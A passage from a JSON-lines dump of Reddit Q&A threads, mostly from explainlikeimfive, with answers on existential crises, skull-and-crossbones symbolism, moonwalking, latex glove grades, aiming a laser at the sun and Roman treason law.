self-recognition, queries about purpose.  oblivious to the bacteria coating It's shell.  \n\n...maybe it's That kind of existential crisis...", "For me, it's learning enough about physics to know that we can never travel faster than the speed of light, that there are likely countless other civilizations in the universe, and we will never ever reach them.  We are trapped on an island alone in a universe of endless wonder, and all we can do is watch ourselves destroy our world faster than we can terraform another.", " >  What causes an Existential Crisis to trigger in our brain?\n\nYou've lost your purpose in life.\n\n & nbsp;\n\nIt can trigger once you've reached all your lifetime goals (good job, enough money to retire early, house with white picket fence, family, kids, etc)  thinking you'd be happy, but realizing that's a myth and you're still not fulfilled.\n\n & nbsp;\n\nYou've believed these lies your entire life and now you've got nothing left to do since you've achieved what you thought was your reason for being; but that wasn't your **true** purpose. You begin to wonder: What's the point?", "It's your mind trying to polarize what you believe you are and what you want vs  reality.\n\nExistencial crisis - the name says it all.\n\nIt's an overwhelming feeling about not being in the place you should or want to be, not being the person you should or want to be.\n\nNot being certain that the life, reality and space you exist within are really what your mind pictures yourself.\n\nIn other words, your mind is starting to wonder if who you are is in your best interest.\n\nIt starts with small questions like \"can I be living a better life?\" Or \" an I a bad person?\" And go further into \"why are we humans here on earth?\" Or \"if my life, or anyone's, insignificant in the scope of time and an infinite universe?\nQuestions without a real answer.\nIt's your mind trying to calculate, measure and understand it's capacity of survival and self worth in an abstract concept.\n\nWhy the mind does this?\nBecause we've been educated and lived our lives measuring everything around us; money, love, time, food, beauty, fun, pain... we measure everything in order to control or take advantage of.\nWhen the mind starts wondering about bigger stuff (meaning of life, size of the universe, inevitable death, insanity) it will try to measure it and control it and, in the process, will go deeper and deeper, and there the lack of true understanding and the horrible conclusion that we are not really in control of our lives, it sparks an existencial crisis that can manifest as depression, dementia, stress and even suicidal thoughts..\nWe are not the masters of time, space, life or death, we are merely muted whispers in the eternal vacuum of the cosmos and the mind cannot settle... it needs answers otherwise it believes it's survival is in peril.", "The realisation that you will die, everyone you know will die, you will be forgotten, and then ultimately in around five billion years the Sun will consume the Earth, then the Universe will slowly die meaning everything you do, given enough foresight, is pointless. I'd recommend ice cream.", "You realize that underneath all the things that keep you occupied, the universe is a terrifying void that it is indifferent to the things you love.  And since the things you love in life define you and give you purpose and meaning, there are moments where you are stripped of all meaning. And you freak out. \n\nBUT, I like to think that were like a leaf on a tree. The leaf cannot perceive the larger picture, and the role it plays in the earth's ecosystem. If every leaf disappeared, the entire ecosystem of earth would crumble. So, it has a incredibly important purpose, but it doesn't have the tools required to understand or percieve that concept.. I think we might play an important role in a larger, quantum ecosystem in a similar way, but just like the leaf our \"tree\" is something we can't percieve. ", "Charlie Day voice: \"Ah, existential crisis, now you're talkin my language!\"\n\nan existential crisis is, at its heart, realizing that you're guaranteed to die one day, and that all your achievements and pursuits are ultimately for nothing.\n\nexistential crises can be triggered by anything that makes this fact salient (seeing someone die or get seriously injured, near-death experience, suddenly realizing your age, taking too many mushrooms, catastrophically failing at something that was extremely important to you, etc), and makes your old cares and hobbies seem worthless in light of this new realization.\n\nwhat triggers this isn't really a chemical process or trigger like hunger or horniness, but a function of our higher reasoning faculties that only humans (as far as we know) possess.  it's kind of funny actually, because our brains have gotten so smart that they have gotten to the point where they can comprehend *too much* about reality to the point where it starts causing us anxiety.\n\nthe way to get over this is to just be thankful that you even get to be alive and conscious in the first place.  a lot of stuff doesn't.  it's a cool crazy ride.  enjoy it while you can.  nothing mattering should be freeing.\n\n\n**edit:**  actually I lied about there being no chemical trigger for this type of thinking.   deficiencies in seratonin or dopamine may make it harder to get excited about hobbies and purposes and may make it easier to fall into depression and hopelessness.", "Recently, Meme's according to every human in their 20's who's sad as someone they met online two days ago doesn't want to be their life partner.", "This winter break I was watching Louis CK and he was talking about how we're all gonna die and for some reason this was the first real time that I think it actually hit me in 21 years of living. I saw my life fast forward in front of my eyes and I was thinking about how in the same way I'm living this moment right now that I will at some point be in the moment right before I die and it tripped me out so hard I had a small panic attack. It was very reminiscent of the one time I took acid and was tripping so hard I thought I was just experiencing death and accepted my own death. It's very surreal to go into these parts of your brain.", "Your belief that life has purpose or meaning triggers stress when you think you're not fulfilling it. The crisis resolves when you establish a purpose or goals, or if you accept that life is meaningless.", "The fear of death has always been stupid to me. I don't mean to sound fearless or condescending, but if you know something is inevitable why spend your time worrying about it? When death eventually comes, whenever that day comes, you're going to realize all that worrying did jack shit and replaced time you should have spent enjoying it.\n\nLife is far from fair, it's got ups, downs, and all kinds of messy things we have to deal with but you always have a choice in how you deal with it. \n\nI feel like most of us spend so much time worrying, stressed out, fearful of the future we always forget that life is happening always now. I understand people have pasts and circumstances in their lives, but the past is over and done with and there is nothing you can do to change it. The future is only a concept in your brain. We're chasing simply ideas that society tells us are important according to what we have deemed important. As long as you're happy and healthy, who gives a shit?\n\nLive now. Its the only thing that is real. And when the moment is over, there will be another one. And another one. And another one. Until the day you die.\n\nSo slow down,  cherish moments and learn from them, enjoy them, because time is the precious resource we seem to love wasting in order to fulfill the future moment that never happens.\n\nThis sounds so hippie dippie but it  is something I'm still realizing more  and more as I grow older. Nowness.\n\nWhen do you have something other than now? \n\nLiving in the past will likely cause depression and living in the future will cause you stress. Dare to live in the now and watch what happens. ", "We give out inflated importance to have a meaning to our life, where in reality, very little of what you do actually matters. Don't look for some grand meaning of which we need to find out. ", "I used to think that it was the ego's awareness of its death.\n\nNow I think it's caused in the first few years of life where an intense search for understanding is kicked off when we are seperate from our caregiver and we are stuck with this for life.\n\nI think that our brain is a biological logical/rational machine that takes concepts which represent the real world that it has created and both projects and also tests them against data from the physical world. \n\nBefore we had any of these concepts i believe that this basic function of the brain, that creates and then rationalise these concepts logically (mathematically) was kicked into gear through the first existential crises, that of not knowing where we are, what we are, why we are in pain (hungry and cold) and also experiencing the present as infinity (no sense of the past, no understanding of the concept 'the future').\n\nSo you are experiencing an increasing amount of pain, in the context of infinity, stuck with a brain that functions in a way that tries to create answers, and experiences this existential crises when it doesn't have them.\n\nAlso, I think that if you are always learning and staying open minded then you are always in some form of existential crises.", "Life is unsatisfactory and anyone sensitive to their place in the universe will be triggered into a crisis eventually.\n\nOn a universal level the universe itself is unlikely to be infinite. On the galactic level the Milky Way and Sol aren't going to last forever -- Earth is going to be engulfed by the outer layers of the sun as it burns heavier elements and cools and expands. As for Earth there is the potential for humanity to destroy itself or be destroyed.\n\nWork all the way down to the human level: we are insignificant, we can be replaced, we work against our own best interested often. Death appears to be final.\n\nI think the surprise is that some people never have a crisis. They must be extremely ignorant.", "Understanding the scientific aspect of this can be difficult, but the metaphorical and the philosophical aspects can be a little easier to comprehend, especially if you're a rational and logical thinker. The brain works in a way where it is literally fail safe upon fail safe. You can never reach the conclusion that your life is meaningless, or you yourself are worthless. It's impossible to reach without impending death (sooner rather than old age) \n\nSo we're constantly creating reasons and scenarios and situations and circumstances where we have value. Our egos protect us. \n\nBut, having said that, there are schools of thought who abandon this altogether. Such as some branches of Buddhism and Taoism practices. I've mentioned this in some of my other replies, but both of these things as well as Zen, have really changed my mind. Not for better or worse, just different. Some of the knowledge associated with these things can't make sense, but it does. It's unexplainable, but so interesting. \n\nIf you face troubles with existentialism, do some research on Taoism. It's not a religion in a traditional way, but it's something. Or nothing, depending who you ask. \n\n", "It's when the thought pops into your head, \"I wonder how many humans have ever lived?,\" and you learn the answer is somewhere near 100 billion. \n\nThen maybe you wonder how many other solar systems there are and find out there are thought to be at least 200 billion other suns in our galaxy alone. \n\nHmmm, that seems like a lot. I wonder how many galaxies there are? 100 billion. Wait, breaking news. We were wrong about there being 100 billion galaxies. It is now believed that there are nearly two trillion galaxies in the observable universe.\n\nObservable universe, you say? What about the unobservable universe? (Cue rabbit hole diving here).\n\nAnd so on. \n\nAnd then one day your Dad dies and your spouse has cancer and you have a \"great\" job that you hate and your daughter who you devoted your life to is into meth and your nicest guy in the world neighbor with a three year old daughter just got hit by a semi truck, killed instantly, leaving his wife and daughter behind, and you are left wondering what the hell you are doing here (and why we all are).", "Im currently having an existensial crisis trying to figure out if you meant what causes them in MY mind in particular or just in general", "You're a ghost driving a machine made of flesh and bones, what the hell you have to worry about.", "I think the question should be \"why we aren't in an existential crisis all the time\". While a few species of animals know about death of its peers like elephants, it is presumed that only humans have the life long realisation that they are going to die and also have a fairly good idea of when it's going to happen. ", "ELI5: What causes an Existential Crisis to trigger in our brain?\nAn interesting documentary the other day, showed a subject who had had to have his adrenal grands removed. Although he could still reason that certain situations were potentially dangerous, he could no longer experience actual fear. Such that he was able to undertake activities that would cause most other people to panic uncontrollably.\n", "Change you weren't expecting, combined with moments of clarity and  the realization that anything can seem terrifying if you look at it on your own for too long.\n\nMajor brain chemistry changes will also do it.\n\nAlso, it sometimes takes a few months to even realize you're having one.\n\nEdit: If you think you might be having an existential crisis, I find the following protocol helps:\n\n1) eat food\n\n2) walk around for a bit, maybe go outside or pet the cat\n\n3) have a cup of tea\n\n4) watch something reassuring on TV or do a thing you like doing that you know will make you (at least temporarily) feel better\n\n5) have a good sleep\n\n6) if appropriate, throw something at a wall or tell someone to just fuck off, or at least scream into a pillow just so you can hear how satisfying it is inside your head\n\n7) poke existential crisis and see if it is feeling better\n\n8) if it isn't, maybe tell someone you might be having one, and have them poke it too\n\n9), and this is important, if that person doesn't help you in any way, or just tells you not to be silly and that everything is fine, tell someone else. we don't always make good reaching out decisions when having an existential crisis.\n\n10) look out for people having existential crises. Apply 1-7 if you see some who appears to be gogglng at the world in terror and falling apart while everyone else just gets on with their lives like the world isn't ending in some small but horribly personal way that no one else has noticed.\n", "What defines an existential crisis depends on one's definition of existence to begin with. The fact that it's a \"crisis\" means that there's a conflict between what you are currently evaluating as being your existence between what you think or thought existence was.\n\nIt depends on the culture you're born in, your particular set of thoughts in relation to that culture. One kind of thought might be an affirmation of one's world view in one culture, while in another it might challenge one's world view.\n\nIn the brain, there are a number of processes that affirm this view through modulating sensory information. In vision for instance, what you actually see with your eyes are not objects, but arrangements of extremely simple features (think things like lines with certain orientations). Those features are represented by the most simple singular cells, and are pooled together towards more complex cells that represent assemblages of those features. What defines which features constitute a single assemblage is mostly shaped by experience, but culture also plays a large role in it. If you show a remote control to a native Amazonian, they see the same object, but what is up, down, front, back, its function and its meaning are obviously very different. Most of our sensory information is \"moulded\" to confirm to a view of the world our brains have. When information (whether it is external through sensory input, or internal through thought and evaluation) does not confirm to this view, it can be considered a \"trigger\" for an existential crisis and a re-evaluation of that world view.\n\nI myself am autistic, and I used to lie awake at nights as young as 5 or 6 years old wondering \"What am I, what does life feel like, why and how does the universe exist, what would it be like to exist as another lifeform\". In autism, a lot of these filtering processes that mould information in a certain way are \"less strict\". More information is presented to the conscious mind and the world view of someone with autism is in most cases entirely different from someone with a neurotypical brain. People like me often suffer existential crises because what they experience does not conform to what they are taught in their culture (especially in the west) which, as described above, when evaluated is likely to trigger an existential crisis.\n\nPsychedelics also frequently trigger existential crises in users because they also inhibit this filtering system and allow the users (in part, there is more to experience) to experience other parts of their brain through their sensory systems. Signals that are normally not pooled there, are rerouted, allowing people to evaluate themselves from a different perspective. ", "My doctor put it succinctly: it happens when someone is smart enough to have big thoughts but not emotionally mature or experienced enough to handle them. ", "I mean I don't think there's a clear explanation to at least the sort of existential crises I've experienced.  There are basic ones, like questioning whether you've done anything worthwhile in life which are pretty easily explainable, and then there's the ones that go beyond traditional logic, which start to dive into religious topics.  As advanced as our scientific understanding of everything is, we still have a very rudimentary understanding of how our own mind works, and classical mechanics really doesn't explain the intrepid.  I get kind of sick by those who think we are so intelligent that we can go ahead and throw all other theories out the window since first off, everything that makes you YOU is just a bunch of electrochemical reactions going on in your head (which is true, and what I believe), and second, that meat blob of a brain, containing all your thoughts, memories, dreams, and passions, will rot away when you die (which is also true, and what I believe).  And that seems to make perfect sense looking at it exactly from that standpoint, and if it were able to be conclusively proven without a doubt that I cease to exist when I die 100%, I suppose I would be an atheist, but I'm not.  I'm 19 and this has been TEARING at me for the past year or so now.  I was raised a Christian, but if I was born in India I'd probably be a Hindu right now.  If I was born in Saudi Arabia I'd be Muslim.  All I know is, I'm not a robot, and I refuse to believe I don't have a soul, because even if you rip away everything that makes me ME, and human, and intelligent, there is still a singularity of my existence that I manifest in.  Maybe my death is complete liberation from singular existence and I essentially become part of everything, and also nothing, in this twisted, but beautiful way.  I don't know.  Maybe that's heaven.  Maybe that's what all religions are essentially pointing towards.  All I know is, there's a lot we don't understand, I'm glad I'm here right now, for the uncertain but limited amount of time I've been gifted with, and I'm glad I can torment myself with enormous questions that I may never find conclusive answers to until I'm dead.", "This question is incorrectly tagged Biology. Not to say that biologists or psychologists can't attempt to explain what triggers an existential crisis... but really the question can only be satisfactorily answered by the humanities. ", "The mind cannot encapsulate the mind.  By definition.  You cannot put a bottle into itself.  These comments are beyond hilarious, the sophistry, the hubris ...\nif there's one thing I have learned in 67 years, its how much we don't know,\nand especially, how much we don't even know that we don't know ...", "It's an entirely mental phenomenon, that occurs when something you believe is totally contradicted by something you experience. This creates cognitive dissonance that can shake you to your foundations, until one of three things happens: you (1) modify your belief, you (2) deny your experience ...or you  (3) put a gun in your mouth.\n\nSurprisingly, for a significant number of people, (1) is the hardest choice to make - go figure.\n\nAbsolute proof that we are cognitive entities having a meatspace experience...but you'll probably try to deny it. ", "Everyone in this thread is making all these metaphors about what's happening in your brain during an existential crisis ... But OP asked what *triggers* one, I.e what causes one.\n\nAccording to Wikipedia a lot of researchers think that depression causes them.  I have found this to be true in my life as well. Also, major life changes.  ", "Not giving an explanation, but offering some advice. In case, someone that is currently fighting off an existential crisis, decides to read this thread. There is a great movie about this called \"Hector and the search for Happiness.\" Watching this movie gave me perspective and really eased my mi d \n\nEdit: corrected movie name", "Well this thread seemed to do the trick for me...\nThanks OP. Where are my xanax?", "what a curse it must be to be aware of your mortality yet helpless to do anything about it?  all the money, prestige, fame, fortune and academic achievements mean nothing in the end.  faced with this realization, what do we do?\n\n1. drugs don't work....not really.\n2. religion has failed us.\n3. shopping gets old.\n4. distractions only go so far.\n\none day you wake up at 50 realizing none of the stuff you collected over the years means anything really.  time to downsize?  your time on this Earth is limited.   your anxiety about your inevitable demise is a very real red flag about what you are doing with your life.  Fortunately, it can be channeled into living a simple life of purpose and service to others in need.  \n\nwhat causes this trigger?  i dunno.  your first grey hair?\n", "When people realize that their actual life is way off from the life that they had once envisioned.\n\nIt's like finding yourself in Siberia when you wanted to go to Florida all along.", "Speaking from personal experience, it seemed like my existential crisis occurred when I could no longer reconcile certainties about the future (e.g., my inevitable death and the finitude of conscious experience) and my childlike assumption that my own experience will go on uninterrupted forever (through an afterlife following the death of my body. The thought that my own self would fail to exist at some future point in time overwhelmed me. There must've been some cognitive dissonance between my past beliefs about reality and these new realizations.\n\nAlso, around that same time, I began questioning the idea of personal identity and the implications of materialism. The thought that our minds arise from mere atoms and molecules interacting made me think of my own existence as being far more insignificant. I always assumed some sort ethereal soul-like substance that inhabited each individual but that belief seems to be grounded in wishful thinking. The ideas of Zapffe and Ernest Becker ruined my mental health for some time.\n\nMy own ideas about self-hood were shattered and my obsession over permanent death consume my thoughts. The resulting anxiety and violent shift in my worldview caused me panic and only recently have I begun to return to a healthier mental state.", "Never knew my question would blow up like this", "The brain realizes it's going to end.\n\nYou may know this fact, but few people **internalize** this.\n\nWhat does internalization mean?\n\nInternalization is the process by which the brain converts facts it learns into practical life lessons and adapts itself to that.\n\n\nExample: Let's say you've heard that children are starving in Africa. You know this as a fact, but you have not internalized it. Now let's say you go to Africa, get lost and stuck into a tribe, and now you are experiencing that. When you get home, you will have a much different approach to starvation than if you only knew about it.\n\nThere are a few ways the brain can internalize things. The above example is through experience. But other methods include:\n\n* Epathy\n* Witnessing\n* Meditating\n* Hearing another\n\nAmong others.\n\nDeath is unique. Because Death is something that, once internalized by the brain, devastates it. Because there is no escape. Your brain cannot project an escape route. This hits the deep core of fight or flight. There is no fight. There is no flight. It leaves the brain defenseless to the inevitable doom.\n\nPerhaps the most tragic thing is, is how long the brain can go without internalizing the reality of death. Indeed most people do not internalize it ever. They go to the grave in shock and horror. Others create myths and stories to try and avoid internalizing it. Others try to live live with hedonistic distractions to the reality of death.\n\nBut once you internalize it, you are changed forever. And many suffer an existential crisis. Some even suffer small versions of it when they realize their *person* is dying, but not their body. Children may experience it as they internalize that childhood is ending. New adults around 25 typically experience it as they realize the free life of youth is over. And many by 35 experience it when they realize their high life of sex, drugs, and alcohol is no longer compatible with living healthy and happy. Indeed many at 45 will experience it when they realize they cannot have kids anymore, and many at 55 will experience it when they realize they are not wanted anymore by many people.\n\nThese regular crises will continue, until the great final mystery. ", "The destruction on what you've been building for your own life. \n\nWhen your worldview, heroes, values and dreams change abruptly because of circumstances like tragedies (but surprisingly also far less apparently \"dramatic\" events), and you almost feel like you're not yourself anymore. This feeling of being a shadow of what you used to be, of being an empty shell, makes you conscious on such a deep level that'll probably change you forever. It's in this time of \"assessing the damage\" that you start to really understand what nihilism means. Mostly because you're in such a negative state of mind that every info your brain processes is categorised as \"bad\", that's why it's a crisis, you feel horrible.\n\nOT: The only way to start again is to \"pick up where you left off\". What happened that made you change? How did you change? What were you like before? What's remained the same? Why? And you start to build your value/worldview system again, you're as naive as a child again, but with grown-up emotions. it's not fun. But with time it'll heal.", "I got mine last year. I learned I won't have my own kids. And at the same time, my dad suffered a stroke. \n\nI felt alone, isolated and terrified as I realised that everyone I love will one day be gone. I felt dissociated from time and space. I felt like I had zero control over my life. I felt like this wasn't my life at all. I felt lost.\n\nIt took me a few months to realise that I've awakened to this important truth of impermanence. Everything changes, everyone dies. My own life included. I realised that I wasn't living in the here and now, enjoying and experiencing what and who I do have in my life.\n\nIt's still a very uncomfortable truth. But I'm far more self-aware and self-conscious of myself. I actively try to be in touch with who I am right now. I try to be kind to myself, make peace with myself. So far, that's the greatest gift I've given to myself.\n\nI find a lot of solace in buddhist principles. We suffer because of our cravings. Suffering is in our minds, not in the outside world. Being self-aware, kind, accepting, taking the right action,... we can deal with suffering. When I feel my mind wander, I try to meditate. Focus on my breathing, for instance. Focus on where am I in the present moment. Just be. Just let those emotions and thoughts pass through my mind.\n\nI'm 35. My dad recovered, no major disaster hit. Everyone is fine. Yet, everything has changed entirely for me. My therapist told me that living in an awakened state at an age as young as mine is not easy, but that it can be the greatest gift life could hand me. He also told me that there's no going back to where I was before. From now on, I'll age well aware of the fact that my life will end sooner or later and that I'll have to enjoy every last second of it with the people I love.\n\nMy granddad is 96. His memory isn't what it used to be, but he's still very chatty. I try to call him often because each time I call might be the last time I'll hear his voice.\n\nIf I can give you something to think about, it's the [wise words of Alan Watts about Nothingness](_URL_0_). There's a lot of comfort to be found in his wisdom. \n\n\n", "A breeze rolling through the window, or a song that reminds me of someone. Or when Bruce Willis dies at the end of 6th sense."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], ["https://en.wikipedia.org/wiki/Amygdala", "http://www.humanconnectomeproject.org/", "https://en.wikipedia.org/wiki/Long-term_potentiation", "https://en.wikipedia.org/wiki/Endorphins", "https://en.wikipedia.org/wiki/Forebrain"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["https://www.youtube.com/watch?v=CUNq1UuyixI"], []]}
{"q_id": "9845i4", "title": "in a skull and crossbones, which bones are they supposed to be, if any?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9845i4/eli5_in_a_skull_and_crossbones_which_bones_are/", "answers": {"a_id": ["e4d67k6", "e4d7iy2"], "score": [5, 18], "text": ["You can read up on it, but essentially the different types of pirate flags were\n\n\nWhite\n\n\nBlack (no logo)\n\n\nBlack (skull only)\n\n\nBlack (skull and bones)\n\n\nEach one meant a different thing. White meant you were peaceful/surrender - I believe Black with no logo meant they only waned to rob your goods, but not harm anybody. Black with skull I think would mean they kill anybody putting up resistance and take anybody aboard captive for ransom. And skull and bones means they would board and kill everybody aboard/plunder and sink the ship\n\n\nAs to why there were those specific bones, I don't think anybody knows, but somebody at one point laid out some dead guys bones and skull and thought it looked cool.", "The skull and crossbones was not originally a warning of poison or impending doom. It was a Christian emblem, like the cross or the fish. You can often find old crucifixes with a [skull and crossbones at the bottom](_URL_0_). \n\nThe bones represent the grave of Adam and the skull represents Golgotha (\"the Place of the Skulls\"), where Christ was crucified. Early Christians believed that was the same place -- Adam was buried at Golgotha and Jesus was crucified there. \n\n >  Tradition has it that in this city, nay, more, on this very spot, Adam lived and died. The place where our Lord was crucified is called Calvary, because the skull of the primitive man was buried there. So it came to pass that the second Adam, that is the blood of Christ, as it dropped from the cross, washed away the sins of the buried protoplast, the first Adam, and thus the words of the apostle were fulfilled: *Awake, you that sleep, and arise from the dead, and Christ shall give you light.*\n\n-- [St. Jerome](_URL_1_) (386 A.D.) \n\nSo the skull and crossbones represented the full arc of Christianity -- from Adam to Golgotha. Adam, the first sinner, died there; Jesus, who redeemed all sinners, also died there, and washed away those sins. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.listia.com/auction/14413827-antique-pectoral-catholic-cross-crucifix", "http://www.newadvent.org/fathers/3001046.htm"]]}
{"q_id": "3tq7tk", "title": "how can anonymous dig up so much stuff about groups like kkk?", "selftext": "Title", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3tq7tk/eli5_how_can_anonymous_dig_up_so_much_stuff_about/", "answers": {"a_id": ["cx89ddm"], "score": [3], "text": ["Most people are very bad at hiding things. You probably find most kkk members have their interests listed on Facebook and Twitter. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "17qhiy", "title": "how does one moonwalk?", "selftext": "What makes it work? I've never been able to figure it out", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/17qhiy/eli5_how_does_one_moonwalk/", "answers": {"a_id": ["c87wp7t", "c87y887", "c87yp5l"], "score": [6, 5, 2], "text": ["1. Go to YouTube.\n2. Search \"how to moonwalk\". \n3. ??? \n4. Profit. ", "Stand with one foot flat on the ground, and the other with your knee bent, only your toe touching the ground (the classic Michael Jackson pose where he's popping his knee out and holding his hat with one hand). Now, this is tricky, slide *the foot that's flat on the ground* backwards. When it's behind the other foot, switch. Pop the other knee out, so that toe is now touching, and the other foot is flat. Now slide that foot behind you. Repeat. Basically, you're sliding the flat foot backwards, not the pointed one. The trick is to make it look smooth.", "Get a rocket and a spacesuit.\n\nGo to the moon.\n\nGet out and go for a walk.\n\nThe rest should happen naturally."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "24rply", "title": "what is the difference between food grade, and medical grade latex gloves?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/24rply/eli5_what_is_the_difference_between_food_grade/", "answers": {"a_id": ["ch9zo7i"], "score": [3], "text": ["Medical grade is a more strict standard and so are significantly more expensive. Getting a tiny amount of contamination into food isn't really a problem, as people can often eat a sandwich with their hands anyway. A tiny amount of contamination in a surgery could kill."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4aikp2", "title": "how much lead would i have to give the sun if i tried to shoot it with a laser?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4aikp2/eli5_how_much_lead_would_i_have_to_give_the_sun/", "answers": {"a_id": ["d10m8mq", "d10okpa", "d10q1tq", "d10tpvc", "d10yi3m"], "score": [10, 28, 279, 6, 2], "text": ["The sun transits the entire sky in about 24 hours.\n\nThe distance from the Earth to the Sun is 150 million km.\n\nThe circumference of the Earths orbit (based on the above) is 942,477,796 million km.\n\nErgo, the sun will cover a distance of 942,477,794 in 24 hours, or 654,498 km a minute (from the POV of someone on the Earth).\n\nSince it takes light 8 minutes to reach the sun, the sun will have moved 5,235,988 km from its position.\n\nThe diameter of the sun is 696,000 km. So you will need to aim about 7.5 sun-widths ahead of it to hit it.\n\nEDIT: As /u/bulksalty points out, since the image of the sun you're aiming at is itself 8 minutes old, you will have to double that lead.", "None.\n\nThe sun isn't moving in the sky, the earth is rotating.  This matters because when you shine a light up from the surface of the earth it does not take the earth's angular movement with it - if it did it would quickly have to move faster than the speed of light to keep up with that rotation.\n\nBasically the light stops spinning when it leaves the lazer emitter.  You don't usually notice this effect because the speed of light is so much greater than the speed of the earth's rotation.", "What I'm seeing here is not right, so I'll take a stab at it. To hit the center of the sun with a laser, you would just point directly at it. There are a few things that would require 'leading', but they are negligible. First off remember that the sun is not moving. It only moves across the sky because we are turning. When we see the sun from 8 minutes ago, it is still exactly where it seems to be. Also, as soon as you emit a photon aimed at it, it will travel from the current angle all the way there regardless of any turning you and your laser do after its emission (you are changing inertial reference frames). There would be a slight amount of lead needed because you, at the earths surface, are not only turning, you are also traveling relative to the sun laterally. This is from the spin of earth, and the rotation around the sun. As I said these velocities are negligible. Given their combined speed, compared to the diameter of the sun and a time frame of only 8 minutes. If up voted, I'll do that final calculation to prove so. \n\nEdit: Here you go. Lets assume high noon, at the equator, during an equinox (this simplifies all angles).\n\nSpeed or earth around the sun is 30km/second.\nSpeed of a person on earths surface around earths center is 0.465km/second\n\nLooking down at the north pole, the earth is spinning counterclockwise. The rotation around the sun is also counterclockwise so, these 2 speeds subtract. They are in opposite direction during daytime. So we have a velocity of 29.535km/second through the solar system. Multiplying by the time it takes a photon to go from the sun to earth and back (16 minutes), I will 'miss' the center by 28,354km. \n\nThis sounds like a lot, but taking into account the diameter of the sun, which is 865,373km across, I'd say its pretty dead-on.\n\ntldr; shot right at the sun, missed the center by only 0.03 'sun-diameters'", "\"How much lead do you have to give the sun if you tried to shoot it with a laser?\"\nIn short, since the Sun does not move, no lead is the answer.\n\nHere is why: \n\n# The sun does not move relative to the earth. \n\nSure the sun you see is \"8 minutes\" in the past, but since the sun *does not move*  it is still there, exactly where it was 8 minutes ago. So no lead is need here.\n\n# The speed and direction of (unimpeded) light is fixed once the light is produced. \n\nThis means that neither the angular speed, nor the lateral speed of the Earth affects the speed/direction of the light, once the light is emitted. No lead is needed here either.\n\n# The solar system is in an (almost) inertial reference frame. \n\nSince we are very small in the cosmos, we see our solar system as traveling in a straight line at a constant velocity (the rate these quantities change are on a geologic time scale, and hence their effects are surely minimal).\n\nIn fact, a quick search will show that we are moving at a (linear velocity) of 514,000 mph around the galactic center.\n\nNevertheless, since we are in an inertial reference frame, Einstein's theory of special relativity tells us that the physics we observe is that of a stationary frame. Hence no lead is needed.\n", "After seeing all of the various explanations I am understanding the \"No Lead\" answers the best.  \n\nIt seems to me after reading the explanations that I would be aiming at the sun from where I was at that moment in time and not where the sun is always located since it does not actually move...We Do.   So, if I shot at the sun with my all powerful Sun Destroying laser I would aim at it where it is and I would see it blow up in the sky where I have been turned by the earth.  My viewpoint changes not the Sun.  Thanks Everyone!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "18mz90", "title": "I recently learned that roman citizens could only be executed for treason. I'm curious, what could (or was) considered treason during the Roman era?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/18mz90/i_recently_learned_that_roman_citizens_could_only/", "answers": {"a_id": ["c8g7ze1", "c8g8cp6", "c8g99nd", "c8ga1hm", "c8gddri", "c8gdsyl"], "score": [7, 119, 48, 8, 3, 2], "text": ["This just made me think: have there been any civilizations where someone couldn't be executed for treason?", "The crime of treason under Roman law was known as _maiestas populi Romani minuta_ (the diminution of the majesty of the Roman people).  Prosecution generally involved three investigative sessions which included the presentation of evidence and arguments on both sides.  This was followed by a final session where a military tribunal (_comitia centuriatia_) reached a verdict.\n\nThis information is drawn from [_The Oxford Encyclopedia of Ancient Greece and Rome, Vol. 1_](_URL_0_).  The article is available on Google Books and has this to say about the application of the charge:\n\n >  The charge seems to have been deliberately left without close definition, but it was applied to those who obstructed or used violence in popular assemblies and to those who failed as commanders (333).\n\nThe entry mentions, though, that the definition alters slightly over time.  As this isn't my specialty, you might want to message /u/Tiako.", "The main problem in Rome was the 'who', not the 'why', if you like. It was widely acknowledged that Roman citizens could be executed (imprisonment was a very rare punishment in Rome), but many maintained that they could only be sentenced to death by a court run by a tribune. However, you can look at examples such as the execution of the Catilinarian conspirators in 63 to explore your question more clearly.\n\nL. Sergius Catilina had, according to Cicero (who was a consul for 63), been plotting against the state along with a group of others, such as Lentulus (a senior senator) and Cegethus. In his First Catilinarian oration, Cicero urges Catiline to leave Rome and take his co-conspirators with him. Catiline did leave (though he left many of his fellows behind), joined a rebel band, and so was clearly an enemy of the state. Cicero's co-consul, Antonius, was sent with an army to deal with him. There were no survivors.\n\nHowever, Cicero still faced the problem of the conspirators left in Rome, and his Catilinarian orations 2-4 try to portray them as *hostes* (enemies in war). He sets himself up as a *dux togatus* (toga'd/civilian captain), and with this purely rhetorical framework persuades the Senate to hold a \"trial\" of Lentulus etc. (as narrated in the Third Catilinarian). In the Fourth Catilinarian, Cicero is summing up in the Senate (probably - the source is complex), and he reasons that because these civilian conspirators are plotting against the state, they are *hostes*, and so not citizens, and the Senate can execute them without reference to the courts. He bases this on a *senatus consultum ultimum* ('Final Decree/Decision of the Senate'), passed a month earlier, that instructed the consuls 'to see to it that the Republic should suffer no harm'. However, it was on the basis of this action (though actually for political reasons) that Cicero was exiled in 58 under the *lex Clodia*, and many of his speeches subsequent to (and during) 63 can be seen as partly aimed at reminding people that he saved the Republic by \"the only means necessary\".\n\nThere are a couple of other similar examples, such as the earlier clubbing to death of Gaius Gracchus, and all revolve around the definition of citizens and senatorial power. I know that wasn't exactly the focus of your question, but if we make it active 'what did *x* consider treason during the Roman era' (and I talk only of the Republic) , we need to supply who does the considering, which in 